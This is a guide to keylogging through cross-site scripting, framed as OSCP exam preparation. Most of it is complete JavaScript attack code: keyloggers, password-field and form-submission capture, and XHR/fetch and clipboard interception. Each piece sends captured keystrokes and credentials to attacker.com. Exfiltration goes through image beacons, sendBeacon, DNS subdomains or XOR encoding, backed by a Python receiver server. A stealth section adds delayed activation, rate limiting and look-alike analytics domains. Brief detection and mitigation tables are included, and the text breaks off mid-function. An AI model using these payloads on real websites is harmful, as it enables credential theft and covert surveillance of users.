Domain 3Exploit Dev & AV EvasionCORE

Keylogging via XSS

Comprehensive guide to keylogging via XSS including basic and advanced keyloggers, DOM mutation monitoring, form submission capture, password field detection, and mitigation strategies for OSCP exam preparation.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#Keylogging#XSS#Credential-Theft#HttpOnly-Bypass#Input-Monitoring

Keylogging via XSS

Table of Contents

  1. Introduction
  2. Why Keylog via XSS?
  3. Basic Keylogger: document.onkeypress
  4. Advanced Keylogger with Context Awareness
  5. Focus-Aware Keylogger
  6. Password Field-Specific Keylogger
  7. Batch Sending with sendBeacon
  8. DOM Mutation-Based Keylogging
  9. Form Submission Capture
  10. Exfiltration Mechanisms
  11. Stealth Techniques
  12. Detection Methodology
  13. Mitigation Strategies
  14. OSCP Lab Scenarios
  15. OSCP Exam Tips
  16. Summary Table
  17. References

1. Introduction

Keylogging via Cross-Site Scripting (XSS) is one of the most powerful and practical client-side attack techniques in the OSCP curriculum. When an application uses HttpOnly cookies to store session tokens, direct cookie theft via document.cookie becomes impossible. Keylogging provides an alternative path to capture user credentials by monitoring keyboard input in real-time.

This technique transforms an XSS vulnerability into a credential harvesting tool, allowing attackers to capture usernames, passwords, and any other typed input — even when cookies are protected.

Key Concepts

Concept Description
XSS (Cross-Site Scripting) Injection of malicious JavaScript into a trusted web application
Keylogging Monitoring and recording keyboard input events in the browser
HttpOnly Cookie A cookie flag that prevents JavaScript access via document.cookie
Credential Harvesting Capturing login credentials through input monitoring
Exfiltration Sending captured data back to the attacker’s server

2. Why Keylog via XSS?

When a web application sets the HttpOnly flag on its session cookie:

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict

The following JavaScript will return an empty string:

console.log(document.cookie);
// Output: "" (empty string - HttpOnly cookies are excluded)

This means the standard XSS cookie-stealing payload fails:

// This WILL NOT work with HttpOnly cookies
fetch('http://attacker.com/steal?cookie=' + document.cookie);
// Sends: http://attacker.com/steal?cookie=

2.2 Why Keylogging Solves This Problem

Limitation of Cookie Theft Keylogging Solution
Blocked by HttpOnly flag Bypasses HttpOnly entirely — monitors input, not cookies
Only captures session token Captures username AND password
One-time capture Can capture credentials every time user logs in
Requires active session Works at login time — no session needed
Limited to cookie data Captures ALL typed input (passwords, messages, search queries)

2.3 Attack Flow

┌─────────────┐     XSS Payload      ┌──────────────────┐
│  Attacker   │  ──────────────────►  │  Vulnerable App  │
│  Server     │                       │  (with keylogger)│
│             │  ◄──────────────────  │                  │
│             │   Captured keystrokes │                  │
└─────────────┘                       └────────┬─────────┘
                                               │
                                       User types
                                       credentials

2.4 What Can Be Captured

  • Login credentials (username + password)
  • Search queries (revealing user interests)
  • Form data (addresses, phone numbers, emails)
  • Chat messages (if the app has messaging)
  • API keys / tokens typed manually
  • Any text input across the entire page

3. Basic Keylogger: document.onkeypress

3.1 Technical Explanation

The most fundamental keylogger attaches a listener to the keypress event on the document object. Every time the user presses a key while the page is focused, the event fires and the character can be captured.

Event Types Comparison:

Event Fires When Use Case
keydown Key is pressed down Capture special keys (Enter, Tab, Backspace)
keyup Key is released Less useful for keylogging
keypress Character is generated Best for capturing actual characters

Note: keypress is deprecated in modern browsers but still widely supported. For production-grade keyloggers, use keydown with event.key.

3.2 Basic Implementation

// Basic keylogger - captures ALL keystrokes on the page
document.onkeypress = function(event) {
    // Capture the character that was typed
    var key = event.key || event.which || event.charCode;
    
    // Send each keystroke to the attacker's server
    var img = new Image();
    img.src = 'http://attacker.com/log?key=' + encodeURIComponent(key);
};

3.3 Improved Basic Keylogger

// Improved version with buffering to reduce network requests
var keystrokes = '';

document.onkeypress = function(event) {
    // Get the character
    var key = event.key || String.fromCharCode(event.which || event.charCode);
    
    // Append to buffer
    keystrokes += key;
    
    // Send buffer when it reaches a certain size or periodically
    if (keystrokes.length >= 20) {
        exfiltrate(keystrokes);
        keystrokes = ''; // Clear buffer after sending
    }
};

function exfiltrate(data) {
    var img = new Image();
    img.src = 'http://attacker.com/log?data=' + encodeURIComponent(data);
}

// Also send remaining keystrokes on page unload
window.onbeforeunload = function() {
    if (keystrokes.length > 0) {
        exfiltrate(keystrokes);
    }
};

3.4 Capturing Special Keys

// Capture special keys like Enter, Tab, Backspace
document.onkeydown = function(event) {
    var key = event.key;
    var specialKeys = {
        'Enter': '[ENTER]',
        'Tab': '[TAB]',
        'Backspace': '[BACKSPACE]',
        'Delete': '[DELETE]',
        'ArrowUp': '[UP]',
        'ArrowDown': '[DOWN]',
        'ArrowLeft': '[LEFT]',
        'ArrowRight': '[RIGHT]',
        'Shift': '[SHIFT]',
        'Control': '[CTRL]',
        'Alt': '[ALT]'
    };
    
    var captured = specialKeys[key] || key;
    
    var img = new Image();
    img.src = 'http://attacker.com/log?key=' + encodeURIComponent(captured);
};

3.5 Attacker Server (Python)

# server.py - Simple keylogger receiver
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import datetime

class KeylogHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urlparse(self.path)
        params = parse_qs(parsed.query)
        
        timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        
        if 'key' in params:
            key = params['key'][0]
            print(f"[{timestamp}] Key: {key}")
            with open('keylog.txt', 'a') as f:
                f.write(f"[{timestamp}] {key}\n")
        
        elif 'data' in params:
            data = params['data'][0]
            print(f"[{timestamp}] Data: {data}")
            with open('keylog.txt', 'a') as f:
                f.write(f"[{timestamp}] {data}\n")
        
        # Return a 1x1 transparent pixel
        self.send_response(200)
        self.send_header('Content-Type', 'image/png')
        self.end_headers()
        self.wfile.write(b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc\xf8\x0f\x00\x00\x01\x01\x00\x05\x18\xd8N\x00\x00\x00\x00IEND\xaeB`\x82')
    
    def log_message(self, format, *args):
        # Suppress default logging
        pass

if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 80), KeylogHandler)
    print('[*] Keylogger server running on port 80')
    server.serve_forever()

3.6 Detection and Mitigation

Detection Method Description
Network monitoring Look for repeated small requests to unknown domains
JavaScript auditing Search for onkeypress, onkeydown, addEventListener in source
CSP Headers Content Security Policy can block inline scripts
Mitigation Description
CSP script-src 'self' prevents inline XSS
Input validation Proper encoding prevents XSS injection
HttpOnly + Secure Protects cookies (but doesn’t prevent keylogging)
MFA Even if credentials are stolen, MFA provides protection

4. Advanced Keylogger with Context Awareness

4.1 Technical Explanation

A basic keylogger captures everything, which creates noise and makes it harder to extract meaningful credentials. An context-aware keylogger tracks:

  • Which element the user is typing into
  • The page URL where input occurs
  • The field name/ID for structured data extraction
  • Timing information for session reconstruction

4.2 Implementation

// Advanced context-aware keylogger
var keylogData = {
    url: window.location.href,
    title: document.title,
    entries: []
};

document.addEventListener('keydown', function(event) {
    var entry = {
        timestamp: new Date().toISOString(),
        key: event.key,
        code: event.code,
        keyCode: event.keyCode,
        element: event.target.tagName,
        elementId: event.target.id || '',
        elementName: event.target.name || '',
        elementType: event.target.type || '',
        className: event.target.className || '',
        placeholder: event.target.placeholder || ''
    };
    
    keylogData.entries.push(entry);
    
    // Send batch every 50 entries
    if (keylogData.entries.length >= 50) {
        sendBatch();
    }
});

function sendBatch() {
    var payload = JSON.stringify(keylogData);
    
    // Use Image tag for stealth
    var img = new Image();
    img.src = 'http://attacker.com/advanced?data=' + encodeURIComponent(payload);
    
    // Reset for next batch
    keylogData.entries = [];
}

// Send remaining data on unload
window.addEventListener('beforeunload', function() {
    if (keylogData.entries.length > 0) {
        sendBatch();
    }
});

4.3 Structured Credential Extraction

// Smart credential extractor - identifies username/password fields
var credentials = {
    username: '',
    password: '',
    url: window.location.href,
    timestamp: new Date().toISOString()
};

var currentField = null;

document.addEventListener('focus', function(event) {
    var target = event.target;
    
    // Identify the type of field being focused
    if (target.type === 'password') {
        currentField = 'password';
    } else if (target.name && (
        target.name.toLowerCase().indexOf('user') !== -1 ||
        target.name.toLowerCase().indexOf('login') !== -1 ||
        target.name.toLowerCase().indexOf('email') !== -1 ||
        target.id.toLowerCase().indexOf('user') !== -1 ||
        target.id.toLowerCase().indexOf('login') !== -1 ||
        target.id.toLowerCase().indexOf('email') !== -1 ||
        target.placeholder.toLowerCase().indexOf('user') !== -1 ||
        target.placeholder.toLowerCase().indexOf('email') !== -1
    )) {
        currentField = 'username';
    } else {
        currentField = 'other';
    }
});

document.addEventListener('keydown', function(event) {
    if (currentField === 'password') {
        credentials.password += event.key;
    } else if (currentField === 'username') {
        credentials.username += event.key;
    }
});

// Send credentials when form is submitted
document.addEventListener('submit', function(event) {
    if (credentials.username || credentials.password) {
        var img = new Image();
        img.src = 'http://attacker.com/creds?u=' + 
            encodeURIComponent(credentials.username) + 
            '&p=' + encodeURIComponent(credentials.password) +
            '&url=' + encodeURIComponent(credentials.url);
    }
}, true); // Use capture phase

5. Focus-Aware Keylogger

5.1 Technical Explanation

A focus-aware keylogger only captures keystrokes when the user is actively typing into input fields. This reduces noise and makes the captured data more meaningful. It’s particularly useful for:

  • Reducing the amount of exfiltrated data
  • Avoiding detection through excessive network traffic
  • Focusing on form fields that likely contain sensitive data

5.2 Implementation

// Focus-aware keylogger - only captures input field keystrokes
var inputLog = '';
var isInputFocused = false;
var currentInputInfo = '';

// Track when user focuses on an input element
document.addEventListener('focusin', function(event) {
    var target = event.target;
    
    if (target.tagName === 'INPUT' || target.tagName === 'TEXTAREA' || 
        target.tagName === 'SELECT' || target.isContentEditable) {
        
        isInputFocused = true;
        currentInputInfo = {
            tag: target.tagName,
            type: target.type || '',
            id: target.id || '',
            name: target.name || '',
            placeholder: target.placeholder || ''
        };
        
        // Reset log for new field
        inputLog = '';
    }
});

// Track when user leaves an input element
document.addEventListener('focusout', function(event) {
    var target = event.target;
    
    if (target.tagName === 'INPUT' || target.tagName === 'TEXTAREA' || 
        target.tagName === 'SELECT' || target.isContentEditable) {
        
        // Send the captured data for this field
        if (inputLog.length > 0) {
            var payload = {
                info: currentInputInfo,
                data: inputLog,
                url: window.location.href,
                timestamp: new Date().toISOString()
            };
            
            var img = new Image();
            img.src = 'http://attacker.com/focus?data=' + 
                encodeURIComponent(JSON.stringify(payload));
        }
        
        isInputFocused = false;
        inputLog = '';
        currentInputInfo = '';
    }
});

// Capture keystrokes only when input is focused
document.addEventListener('keydown', function(event) {
    if (isInputFocused) {
        inputLog += event.key;
    }
});

5.3 Password-Only Focus Logger

// Ultra-focused: only logs password fields
var passwordLog = '';
var passwordFieldInfo = null;

document.addEventListener('focusin', function(event) {
    if (event.target.type === 'password') {
        passwordFieldInfo = {
            id: event.target.id,
            name: event.target.name,
            formAction: event.target.form ? event.target.form.action : '',
            formMethod: event.target.form ? event.target.form.method : ''
        };
        passwordLog = ''; // Reset for new password field
    }
});

document.addEventListener('keydown', function(event) {
    if (event.target.type === 'password') {
        passwordLog += event.key;
    }
});

document.addEventListener('focusout', function(event) {
    if (event.target.type === 'password' && passwordLog.length > 0) {
        var payload = {
            field: passwordFieldInfo,
            password: passwordLog,
            url: window.location.href,
            timestamp: new Date().toISOString()
        };
        
        var img = new Image();
        img.src = 'http://attacker.com/password?data=' + 
            encodeURIComponent(JSON.stringify(payload));
    }
});

6. Password Field-Specific Keylogger

6.1 Technical Explanation

This technique specifically targets password input fields. It can work in two modes:

  1. Keystroke-based: Captures each keypress in password fields
  2. Value-based: Reads the value of password fields directly (works with some browsers and auto-fill)

6.2 Keystroke-Based Password Logger

// Password field keylogger
var capturedPasswords = [];

document.addEventListener('keydown', function(event) {
    // Only capture from password fields
    if (event.target.type === 'password') {
        var entry = {
            key: event.key,
            timestamp: Date.now(),
            fieldId: event.target.id,
            fieldName: event.target.name,
            url: window.location.href
        };
        
        capturedPasswords.push(entry);
        
        // Send immediately for real-time capture
        var img = new Image();
        img.src = 'http://attacker.com/pw?key=' + encodeURIComponent(event.key) +
            '&id=' + encodeURIComponent(event.target.id || '') +
            '&url=' + encodeURIComponent(window.location.href);
    }
});

6.3 Value-Based Password Capture

// Attempt to read password field values directly
// Note: This may not work in all browsers due to security restrictions

function capturePasswordValues() {
    var passwords = document.querySelectorAll('input[type="password"]');
    var results = [];
    
    passwords.forEach(function(field) {
        var value = field.value;
        if (value && value.length > 0) {
            results.push({
                id: field.id,
                name: field.name,
                value: value,
                length: value.length,
                formAction: field.form ? field.form.action : ''
            });
        }
    });
    
    if (results.length > 0) {
        var img = new Image();
        img.src = 'http://attacker.com/pwvalues?data=' + 
            encodeURIComponent(JSON.stringify(results));
    }
}

// Try to capture on various events
document.addEventListener('input', capturePasswordValues);
document.addEventListener('change', capturePasswordValues);

// Also try on form submission
document.addEventListener('submit', function(event) {
    capturePasswordValues();
}, true);

6.4 Password Field Detection and Enumeration

// Enumerate all password fields on the page
function enumeratePasswordFields() {
    var fields = [];
    
    // Direct password inputs
    var pwInputs = document.querySelectorAll('input[type="password"]');
    pwInputs.forEach(function(field) {
        fields.push({
            type: 'password_input',
            id: field.id,
            name: field.name,
            placeholder: field.placeholder,
            autocomplete: field.autocomplete,
            formAction: field.form ? field.form.action : '',
            formMethod: field.form ? field.form.method : ''
        });
    });
   
    // Hidden password fields (type changed dynamically)
    var allInputs = document.querySelectorAll('input');
    allInputs.forEach(function(field) {
        if (field.id && (
            field.id.toLowerCase().indexOf('password') !== -1 ||
            field.id.toLowerCase().indexOf('passwd') !== -1 ||
            field.id.toLowerCase().indexOf('pwd') !== -1
        )) {
            fields.push({
                type: 'suspected_password',
                id: field.id,
                name: field.name,
                currentType: field.type
            });
        }
    });
    
    // Send enumeration results
    if (fields.length > 0) {
        var img = new Image();
        img.src = 'http://attacker.com/enumerate?data=' + 
            encodeURIComponent(JSON.stringify({
                url: window.location.href,
                fields: fields
            }));
    }
}

// Run on page load
window.addEventListener('load', enumeratePasswordFields);

7. Batch Sending with sendBeacon

7.1 Technical Explanation

The navigator.sendBeacon() API is designed for sending small amounts of analytics data to a server, even when the page is being unloaded. This is ideal for keyloggers because:

  • Data is sent reliably even when the user closes the tab
  • Uses POST requests (more stealthy than GET in image tags)
  • Does not block page unload
  • Works asynchronously without affecting page performance

7.2 Implementation

// Keylogger with sendBeacon for reliable exfiltration
var keylogBuffer = '';
var MAX_BUFFER_SIZE = 500; // Send when buffer reaches this size

document.addEventListener('keydown', function(event) {
    var entry = {
        k: event.key,
        c: event.code,
        e: event.target.tagName,
        t: event.target.type || '',
        i: event.target.id || '',
        n: event.target.name || ''
    };
    
    keylogBuffer += JSON.stringify(entry) + '|';
    
    // Send batch when buffer is full
    if (keylogBuffer.length >= MAX_BUFFER_SIZE) {
        sendKeylog();
    }
});

function sendKeylog() {
    if (keylogBuffer.length === 0) return;
    
    var payload = new URLSearchParams();
    payload.append('data', keylogBuffer);
    payload.append('url', window.location.href);
    payload.append('ts', new Date().toISOString());
    
    // Use sendBeacon for reliable delivery
    if (navigator.sendBeacon) {
        navigator.sendBeacon('http://attacker.com/beacon', payload);
    } else {
        // Fallback to XHR
        var xhr = new XMLHttpRequest();
        xhr.open('POST', 'http://attacker.com/beacon', true);
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        xhr.send(payload);
    }
    
    keylogBuffer = ''; // Clear after sending
}

// Ensure data is sent on page unload
window.addEventListener('beforeunload', function() {
    sendKeylog();
});

// Also send periodically
setInterval(sendKeylog, 30000); // Every 30 seconds

7.3 sendBeacon vs Other Methods

Method Reliability on Unload Stealth Max Size Method
sendBeacon Excellent High ~64KB POST
Image tag Poor Medium URL limit GET
XMLHttpRequest Poor (sync only) Medium Unlimited POST/GET
fetch Poor Medium Unlimited POST/GET
navigator.sendBeacon + beforeunload Best Highest ~64KB POST

7.4 Complete sendBeacon Keylogger

// Production-grade keylogger with sendBeacon
(function() {
    'use strict';
    
    var CONFIG = {
        endpoint: 'http://attacker.com/capture',
        batchSize: 100,
        flushInterval: 15000, // 15 seconds
        maxRetries: 3
    };
    
    var state = {
        buffer: [],
        pageUrl: window.location.href,
        pageTitle: document.title,
        startTime: Date.now(),
        sessionId: generateSessionId()
    };
    
    function generateSessionId() {
        return 'sess_' + Math.random().toString(36).substr(2, 9) + '_' + 
               Date.now().toString(36);
    }
    
    function captureKey(event) {
        var entry = {
            k: event.key,
            c: event.code,
            e: event.target.tagName.toLowerCase(),
            t: event.target.type || '',
            i: event.target.id || '',
            n: event.target.name || '',
            p: event.target.placeholder || '',
            ts: Date.now() - state.startTime // Relative timestamp
        };
        
        state.buffer.push(entry);
        
        if (state.buffer.length >= CONFIG.batchSize) {
            flushBuffer();
        }
    }
    
    function flushBuffer() {
        if (state.buffer.length === 0) return;
        
        var payload = {
            session: state.sessionId,
            url: state.pageUrl,
            title: state.pageTitle,
            keys: state.buffer,
            count: state.buffer.length
        };
        
        var blob = new Blob([JSON.stringify(payload)], { type: 'application/json' });
        
        if (navigator.sendBeacon) {
            navigator.sendBeacon(CONFIG.endpoint, blob);
        }
        
        state.buffer = [];
    }
    
    // Attach listeners
    document.addEventListener('keydown', captureKey, true); // Capture phase
    
    // Periodic flush
    setInterval(flushBuffer, CONFIG.flushInterval);
    
    // Flush on unload
    window.addEventListener('beforeunload', flushBuffer);
    window.addEventListener('pagehide', flushBuffer);
    
    // Also capture form submissions
    document.addEventListener('submit', function(event) {
        var form = event.target;
        var formData = {};
        
        if (form) {
            var inputs = form.querySelectorAll('input, textarea, select');
            inputs.forEach(function(input) {
                if (input.name) {
                    formData[input.name] = input.type === 'password' ? 
                        '[PASSWORD_LENGTH:' + input.value.length + ']' : input.value;
                }
            });
        }
        
        var formPayload = {
            session: state.sessionId,
            url: state.pageUrl,
            formAction: form ? form.action : '',
            formMethod: form ? form.method : '',
            formData: formData,
            keys: state.buffer
        };
        
        var blob = new Blob([JSON.stringify(formPayload)], { type: 'application/json' });
        if (navigator.sendBeacon) {
            navigator.sendBeacon(CONFIG.endpoint + '/form', blob);
        }
        
        state.buffer = [];
    }, true);
    
})();

8. DOM Mutation-Based Keylogging

8.1 Technical Explanation

DOM mutation-based keylogging monitors changes to the DOM rather than keyboard events. This approach:

  • Bypasses event listener removal (if the target removes keydown handlers)
  • Captures paste operations (Ctrl+V doesn’t fire key events for each character)
  • Detects programmatic value changes (auto-fill, password managers)
  • Works with contenteditable elements

8.2 MutationObserver for Input Monitoring

// DOM mutation-based keylogger using MutationObserver
var observedInputs = new Map();

function setupMutationObserver() {
    var observer = new MutationObserver(function(mutations) {
        mutations.forEach(function(mutation) {
            if (mutation.type === 'attributes' && mutation.attributeName === 'value') {
                var target = mutation.target;
                var newValue = target.value;
                
                var entry = {
                    type: 'attribute_change',
                    element: target.tagName,
                    id: target.id,
                    name: target.name,
                    type_attr: target.type,
                    oldValue: observedInputs.get(target) || '',
                    newValue: newValue,
                    url: window.location.href,
                    timestamp: new Date().toISOString()
                };
                
                // Update stored value
                observedInputs.set(target, newValue);
                
                // Exfiltrate
                var img = new Image();
                img.src = 'http://attacker.com/mutation?data=' + 
                    encodeURIComponent(JSON.stringify(entry));
            }
        });
    });
    
    // Observe all current input elements
    var inputs = document.querySelectorAll('input, textarea, select');
    inputs.forEach(function(input) {
        observer.observe(input, { 
            attributes: true, 
            attributeFilter: ['value'] 
        });
        observedInputs.set(input, input.value);
    });
    
    // Also observe the document body for new inputs
    var bodyObserver = new MutationObserver(function(mutations) {
        mutations.forEach(function(mutation) {
            mutation.addedNodes.forEach(function(node) {
                if (node.nodeType === 1) { // Element node
                    if (node.tagName === 'INPUT' || node.tagName === 'TEXTAREA') {
                        observer.observe(node, { 
                            attributes: true, 
                            attributeFilter: ['value'] 
                        });
                    }
                    // Check children
                    var childInputs = node.querySelectorAll('input, textarea');
                    childInputs.forEach(function(input) {
                        observer.observe(input, { 
                            attributes: true, 
                            attributeFilter: ['value'] 
                        });
                    });
                }
            });
        });
    });
    
    bodyObserver.observe(document.body, { childList: true, subtree: true });
}

// Initialize on load
window.addEventListener('load', setupMutationObserver);

8.3 Input Event-Based Monitoring

// Monitor input events for real-time value capture
document.addEventListener('input', function(event) {
    var target = event.target;
    
    if (target.tagName === 'INPUT' || target.tagName === 'TEXTAREA') {
        var entry = {
            event: 'input',
            element: target.tagName,
            type: target.type,
            id: target.id,
            name: target.name,
            value: target.value,
            selectionStart: target.selectionStart,
            selectionEnd: target.selectionEnd,
            url: window.location.href,
            timestamp: new Date().toISOString()
        };
        
        // Special handling for password fields
        if (target.type === 'password') {
            entry.value = '[REDACTED_LENGTH:' + target.value.length + ']';
            // But we still send the actual value to attacker
            entry.actualValue = target.value;
        }
        
        var img = new Image();
        img.src = 'http://attacker.com/input?data=' + 
            encodeURIComponent(JSON.stringify(entry));
    }
}, true); // Capture phase

8.4 Clipboard Monitoring

// Monitor clipboard events for paste operations
document.addEventListener('paste', function(event) {
    var target = event.target;
    var clipboardData = event.clipboardData || window.clipboardData;
    
    if (clipboardData) {
        var pastedText = clipboardData.getData('text');
        
        var entry = {
            event: 'paste',
            element: target.tagName,
            type: target.type,
            id: target.id,
            name: target.name,
            pastedData: pastedText,
            url: window.location.href,
            timestamp: new Date().toISOString()
        };
        
        var img = new Image();
        img.src = 'http://attacker.com/paste?data=' + 
            encodeURIComponent(JSON.stringify(entry));
    }
}, true);

9. Form Submission Capture

9.1 Technical Explanation

Form submission capture intercepts the form submission event and extracts all form data before it’s sent to the server. This is the most reliable method for capturing credentials because:

  • Captures the final value (including corrections, paste operations)
  • Works regardless of how the value was entered (typing, paste, auto-fill)
  • Captures all form fields in one shot
  • Can capture data even if keylogging was interrupted

9.2 Basic Form Capture

// Intercept all form submissions
document.addEventListener('submit', function(event) {
    var form = event.target;
    var formData = new FormData(form);
    var data = {};
    
    // Extract all form fields
    for (var pair of formData.entries()) {
        data[pair[0]] = pair[1];
    }
    
    var payload = {
        url: window.location.href,
        formAction: form.action,
        formMethod: form.method,
        formData: data,
        timestamp: new Date().toISOString()
    };
    
    var img = new Image();
    img.src = 'http://attacker.com/form?data=' + 
        encodeURIComponent(JSON.stringify(payload));
    
    // Do NOT prevent default - let the form submit normally
    // This keeps the attack stealthy
}, true); // Capture phase fires before any other listeners

9.3 Advanced Form Capture with Field Classification

// Advanced form capture with sensitive field detection
document.addEventListener('submit', function(event) {
    var form = event.target;
    var inputs = form.querySelectorAll('input, textarea, select');
    
    var sensitiveData = {
        credentials: {},
        personal: {},
        financial: {},
        other: {}
    };
    
    inputs.forEach(function(input) {
        var name = input.name || input.id || '';
        var value = input.value;
        var lowerName = name.toLowerCase();
        
        // Classify the field
        if (input.type === 'password' || 
            lowerName.indexOf('password') !== -1 ||
            lowerName.indexOf('passwd') !== -1 ||
            lowerName.indexOf('pwd') !== -1) {
            sensitiveData.credentials[name] = value;
        } 
        else if (lowerName.indexOf('user') !== -1 ||
                 lowerName.indexOf('login') !== -1 ||
                 lowerName.indexOf('username') !== -1) {
            sensitiveData.credentials[name] = value;
        }
        else if (lowerName.indexOf('email') !== -1 ||
                 lowerName.indexOf('mail') !== -1) {
            sensitiveData.personal[name] = value;
        }
        else if (lowerName.indexOf('card') !== -1 ||
                 lowerName.indexOf('credit') !== -1 ||
                 lowerName.indexOf('cvv') !== -1 ||
                 lowerName.indexOf('expir') !== -1) {
            sensitiveData.financial[name] = value;
        }
        else if (value) {
            sensitiveData.other[name] = value;
        }
    });
    
    var payload = {
        url: window.location.href,
        formAction: form.action,
        formMethod: form.method,
        data: sensitiveData,
        timestamp: new Date().toISOString(),
        userAgent: navigator.userAgent
    };
    
    // Use sendBeacon for reliability
    if (navigator.sendBeacon) {
        var blob = new Blob([JSON.stringify(payload)], { 
            type: 'application/json' 
        });
        navigator.sendBeacon('http://attacker.com/form-advanced', blob);
    }
    
}, true);

9.4 AJAX Request Interception

// Intercept AJAX requests to capture data sent via XHR/fetch
var originalXHR = window.XMLHttpRequest;
var originalFetch = window.fetch;

// XHR interception
window.XMLHttpRequest = function() {
    var realXHR = new originalXHR();
    
    realXHR.addEventListener('readystatechange', function() {
        if (realXHR.readyState === 4) {
            var entry = {
                type: 'XHR',
                method: realXHR._method || 'UNKNOWN',
                url: realXHR._url || 'UNKNOWN',
                response: realXHR.responseText.substring(0, 1000),
                timestamp: new Date().toISOString()
            };
            
            var img = new Image();
            img.src = 'http://attacker.com/xhr?data=' + 
                encodeURIComponent(JSON.stringify(entry));
        }
    });
    
    var open = realXHR.open;
    realXHR.open = function(method, url) {
        realXHR._method = method;
        realXHR._url = url;
        return open.apply(realXHR, arguments);
    };
    
    var send = realXHR.send;
    realXHR.send = function(data) {
        // Capture request body
        if (data) {
            var entry = {
                type: 'XHR_SEND',
                method: realXHR._method,
                url: realXHR._url,
                body: data.toString().substring(0, 5000),
                timestamp: new Date().toISOString()
            };
            
            var img = new Image();
            img.src = 'http://attacker.com/xhr-send?data=' + 
                encodeURIComponent(JSON.stringify(entry));
        }
        return send.apply(realXHR, arguments);
    };
    
    return realXHR;
};

// Fetch interception
window.fetch = function(url, options) {
    var entry = {
        type: 'FETCH',
        url: url.toString(),
        method: options ? options.method : 'GET',
        body: options && options.body ? options.body.toString().substring(0, 5000) : '',
        timestamp: new Date().toISOString()
    };
    
    var img = new Image();
    img.src = 'http://attacker.com/fetch?data=' + 
        encodeURIComponent(JSON.stringify(entry));
    
    return originalFetch.apply(this, arguments);
};

10. Exfiltration Mechanisms

10.1 Comparison of Exfiltration Methods

Method Pros Cons Stealth Level
Image Tag Simple, works everywhere URL length limits, GET visible in logs Medium
XMLHttpRequest Full control, POST support Can be detected by CORS errors Medium
fetch API Modern, Promise-based Can be detected Medium
sendBeacon Reliable on unload, POST Size limits (~64KB) High
iframe src Bypasses some filters Limited control Low
DNS exfiltration Bypasses most filters Slow, complex encoding Very High

10.2 Image Tag Exfiltration (Most Common)

// Simple image-based exfiltration
function exfilImage(data) {
    var img = new Image();
    img.src = 'http://attacker.com/log?data=' + encodeURIComponent(data);
    // Image loads in background, no visible effect
}

// Usage
document.onkeypress = function(e) {
    exfilImage(e.key);
};

10.3 XHR Exfiltration

// XHR-based exfiltration
function exfilXHR(data) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/log', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('data=' + encodeURIComponent(data));
}

10.4 DNS Exfiltration (Advanced Stealth)

// DNS-based exfiltration - extremely stealthy
function exfilDNS(data) {
    // Encode data in base36 for DNS-safe characters
    var encoded = btoa(data); // Base64 encode first
    
    // Split into chunks for subdomain labels (max 63 chars each)
    var chunks = [];
    for (var i = 0; i < encoded.length; i += 30) {
        chunks.push(encoded.substr(i, 30));
    }
    
    chunks.forEach(function(chunk) {
        var img = new Image();
        // Each chunk becomes a subdomain
        img.src = 'http://' + chunk + '.attacker.com/dns';
    });
}

10.5 Encrypted Exfiltration

// XOR-encrypted exfiltration for additional stealth
function xorEncrypt(data, key) {
    var result = '';
    for (var i = 0; i < data.length; i++) {
        result += String.fromCharCode(data.charCodeAt(i) ^ key.charCodeAt(i % key.length));
    }
    return result;
}

function exfilEncrypted(data) {
    var key = 's3cr3tK3y!'; // Shared secret
    var encrypted = xorEncrypt(data, key);
    var encoded = btoa(encrypted); // Base64 for URL safety
    
    var img = new Image();
    img.src = 'http://attacker.com/log?d=' + encoded;
}

11. Stealth Techniques

11.1 Delayed Execution

// Delay keylogger activation to avoid detection during page load
setTimeout(function() {
    // Initialize keylogger after delay
    document.addEventListener('keydown', function(event) {
        var img = new Image();
        img.src = 'http://attacker.com/log?key=' + encodeURIComponent(event.key);
    });
}, 5000); // Wait 5 seconds before activating

11.2 Activity-Based Activation

// Only activate when user shows engagement
var isUserActive = false;

// Detect user activity
document.addEventListener('mousemove', function() {
    isUserActive = true;
});

document.addEventListener('scroll', function() {
    isUserActive = true;
});

// Only start keylogging when user is active
setInterval(function() {
    if (isUserActive && !window.keyloggerActive) {
        window.keyloggerActive = true;
        document.addEventListener('keydown', function(event) {
            var img = new Image();
            img.src = 'http://attacker.com/log?key=' + encodeURIComponent(event.key);
        });
    }
}, 1000);

11.3 Rate Limiting

// Rate-limit exfiltration to avoid detection
var lastSendTime = 0;
var MIN_SEND_INTERVAL = 2000; // Minimum 2 seconds between sends

function stealthExfil(data) {
    var now = Date.now();
    if (now - lastSendTime < MIN_SEND_INTERVAL) {
        // Buffer the data instead
        if (!window.exfilBuffer) {
            window.exfilBuffer = '';
        }
        window.exfilBuffer += data;
        return;
    }
    
    lastSendTime = now;
    var payload = window.exfilBuffer ? window.exfilBuffer + data : data;
    window.exfilBuffer = '';
    
    var img = new Image();
    img.src = 'http://attacker.com/log?data=' + encodeURIComponent(payload);
}

11.4 Domain Impersonation

// Use a domain that looks legitimate
var ATTACKER_DOMAIN = 'cdn-analytics-' + Math.floor(Math.random() * 1000) + '.com';

function exfil(data) {
    var img = new Image();
    img.src = 'http://' + ATTACKER_DOMAIN + '/collect?d=' + encodeURIComponent(data);
}

12. Detection Methodology

12.1 Browser-Based Detection

// Detect if a keylogger might be present
function detectKeylogger() {
    var warnings = [];
    
    // Check for event listeners on document
    var getListeners = function(element) {
        try {
            return getEventListeners(element); // Chrome DevTools API
        } catch(e) {
            return null;
        }
    };
    
    var docListeners = getListeners(document);
    if (docListeners) {
        if (docListeners.keydown) {
            warnings.push('keydown listeners detected: ' + docListeners.keydown.length);
        }
        if (docListeners.keypress) {
            warnings.push('keypress listeners detected: ' + docListeners.keypress.length);
        }
    }
    
    // Check for suspicious Image creation patterns
    var originalImage = window.Image;
    window.Image = function() {
        var img = new originalImage();
        Object.defineProperty(img, 'src', {
            set: function(value) {
